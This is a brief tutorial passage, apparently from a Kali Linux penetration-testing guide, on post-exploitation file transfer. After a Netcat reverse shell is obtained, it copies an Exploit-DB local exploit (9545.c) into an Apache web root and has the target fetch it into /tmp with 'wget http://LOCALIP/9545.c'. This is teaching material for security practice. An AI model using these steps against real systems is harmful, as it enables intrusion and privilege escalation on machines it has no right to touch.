Once you have a reverse connection using a Netcat listener you can use the following technique to copy files onto the target machine e.g.:
cp /usr/share/exploitdb/platforms/linux/local/9545.c /var/www/html
This will copy an exploit into Kali’s web root directory
Run the following to ensure your Apache webservice is running:
service apache2 start service apache2 status
Move back to the command shell you have running on the target machine through Netcat and run the following.
cd tmp wget http://LOCALIP/9545.c
This is the file that was copied into the Kali webroot above. It will now have been copied to the target machine into the tmp folder which is a folder that is writeable.